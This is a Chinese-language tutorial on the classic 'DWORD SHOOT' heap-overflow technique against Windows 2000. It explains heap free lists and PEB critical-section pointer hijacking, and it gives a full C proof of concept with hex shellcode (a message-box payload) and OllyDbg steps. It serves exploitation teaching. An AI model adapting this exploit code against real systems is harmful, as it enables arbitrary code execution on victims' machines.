1. 程式人生 > >利用DWORD SHOOT實現堆溢出的利用(先知收錄)

利用DWORD SHOOT實現堆溢出的利用(先知收錄)

section 功能 mem point 1.3 所有 int 源代碼 flow

原文鏈接:https://xz.aliyun.com/t/4009

1.0 DWORD SHOOT是什麽捏?

DWORD SHOOT指能夠向內存任意位置寫入任意數據,1個WORD=4個bytes,即可以通過執行程序將4bytes的數據寫入4bytes地址中,從而實現某種惡意操作。
是不是還不清晰咩?
emmm,通過下面這個完整的堆溢出利用例子進行理解,這個例子通過修改PEB中的同步函數指針指向達到利用的目的。
PC:win2000
工具:vc6.0,ollydbg

1.1 PEB的線程同步函數與DWORD

在每個進程的 P.E.B 中都存放著一對同步函數指針,指向 RtlEnterCriticalSection()和 RtlLeaveCriticalSection(),並且在進程退出時會被 ExitProcess()調用。如果通過DWORD SHOOT修改RtlEnterCriticalSection()或者RtlLeaveCriticalSection()(在 0x7FFDF024地址處)之一的指針指向Shellcode地址,那在進程退出時就會跳轉到Shellcode位置並執行其裏面的惡意代碼。

1.2 堆分配原理

這兒是重點,後面利用的理解要求這一塊要懂哈。
在一個堆區中,有很多堆塊,可以使用堆表管理這些堆塊。堆表有空表和單表兩種,本文實踐內容涉及空表,所以講解它。
空表一共被分為128條,每條空表可以管理數塊堆塊。問題來了,那分為128條堆表的目的是什麽?
目的是管理不同大小的堆塊,以加快操作系統的運行。
128條空表(空閑雙向鏈表)標識為free[0]...........free[127]。其中,在free[n]中,空閑堆塊的大小為n8(byte)。然而free[0]例外,為啥呢?想一想,總有比1278(byte)大的堆塊吧,他們就被此堆表管理。
所以,剛開始創建堆塊後,就只有一個巨大的空閑堆塊,它被free[0]管理,後續申請堆塊時會從free[0]中割取小空間的堆塊,當這些小堆塊被釋放成為空閑小堆塊後就會根據大小依次存入free[1]-free[127]。會不會有點小混亂,混亂點在於眾多大小相同堆塊的管理。
強調一下空表(空白雙向鏈表)的概念。每個空表其實是雙向鏈表狀的,就是說每個空表通過鏈表的結構管理大小一致或者類似大小的堆塊們。如下圖。
技術分享圖片

1.3 堆溢出原理

下圖展示了一個堆表上堆塊的前後向指針位置。
技術分享圖片
下圖是一個堆表,裏面有空閑堆快。
技術分享圖片
當申請此鏈表上的第二個堆塊時,此堆塊被取出,鏈表結構會執行node->後向指針->前向指針=node->前向指針,如下圖。
技術分享圖片
當啟用DWORD SHOOT時,第二個堆塊的後向指針會被篡改指向一個地址,而且這個地址開頭的前四個字節(前向指針占用4字節)即為Shellcode的首地址。如下圖。
技術分享圖片

1.4 通過DWORD SHOOT修改RtlEnterCriticalSection ()

經查詢得知,RtlEnterCriticalSection()的函數指針是0x7FFDF020,那思路就是在堆中通過溢出的方法覆蓋下一個待分配的空閑堆的前向指針和後向指針,其中,後向指針修改為0x7FFDF020,前向指針修改為Shellcode的地址。這樣,依據1.1,進程退出執行ExitProcess()時會調用0x7FFDF020處的RtlEnterCriticalSection()函數,結合1.3可知,此時0x7FFDF020處的四字節數據是Shellcode的地址,調用0x7FFDF020自然會到Shellcode代碼入口處執行Shellcode啦。

1.5 動手實踐

代碼:

#include <windows.h>

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
//repaire the pointer which shooted by heap over run
"\xB8\x20\xF0\xFD\x7F"  //MOV EAX,7FFDF020
"\xBB\x60\x20\xF8\x77"  //MOV EBX,77F82060 此處地址需調試得出
"\x89\x18"                //MOV DWORD PTR DS:[EAX],EBX
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"       
"\x30\x60\x40\x00\x20\xf0\xfd\x7f";//前四字節即為前向指針,指向Shellcode地址,此地址需調試得出;後四字節為後向指針,在此操作系統中固定不變

main()
{
    HLOCAL h1 = 0, h2 = 0;
    HANDLE hp;
    hp = HeapCreate(0,0x1000,0x10000);
    h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
    __asm int 3 //中斷進程,調試態堆管理策略會改變堆塊的原生結構,所以加上此代碼,這樣分配完堆會使用調試器查看進程,就會避免程序檢測使用調試堆管理策略,會看到原生的堆結構。
    memcpy(h1,shellcode,0x200); //overflow,0x200=512
    h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    return 0;
}

此代碼執行後導致的溢出是:創建堆,申請堆塊h1,大小200單元,將大小為0x200的Shellcode復制至h1。註意,這個時候已申請堆塊後面緊挨著空閑堆塊,其前向指針和後向指針均會被Shellcode巧妙地覆蓋。當從此空閑堆塊申請8字節空間時,後向指針被篡改指向的原RtlEnterCriticalSection()地址會存儲Shellcode的地址,DWORD SHOOT完畢。而堆溢出導致異常,進程退出時跳轉到0x7FFDF020指向的地址,此地址由原 RtlEnterCriticalSection() 變為Shellcode入口地址,故執行了惡意代碼。

實踐方面,將vc6.0的調試選項設置為ollydbg。
編譯執行後,中斷,ollydbg調試器接管進程。地址0x360680就是所有堆塊的起始位置,已分配堆塊在前,故前面的208字節是h1堆塊(其實每個堆塊有8字節的頭部,但在堆塊數據存取的操作中是透明的,所以對它不做深究),如下圖。
技術分享圖片
單步執行程序,當執行完REP...時,就完成了Shellcode的溢出賦值操作。如下圖。
技術分享圖片
分析前面的參數賦值和壓棧操作,可知Shellcode入口地址為0x00406030,此時復現的同誌如果發現數值不是這個就源代碼Shellcode對應位置賦此值。如下圖。
技術分享圖片
後向指針指向的就是RtlEnterCriticalSection()的函數指針0x7FFDF020,為了防止堆溢出異常執行後Shellcode本身代碼調用錯誤的此函數,需要在Shellcode代碼中重新對此函數指針賦值,賦為正確的函數入口地址,故此處需要查看正確的入口地址。在內存中查找0x7FFDF020存儲的地址,發現是0x77F82060,用它更新源代碼中Shellcode的前部代碼。如下圖。
技術分享圖片
至此,大家都有一個適用於自己電腦的Shellcode啦,此Shellcode的功能就是當產生堆溢出時會彈框。
註釋掉__asm int 3,執行代碼,哈哈,成功溢出。如下圖。
技術分享圖片

利用DWORD SHOOT實現堆溢出的利用(先知收錄)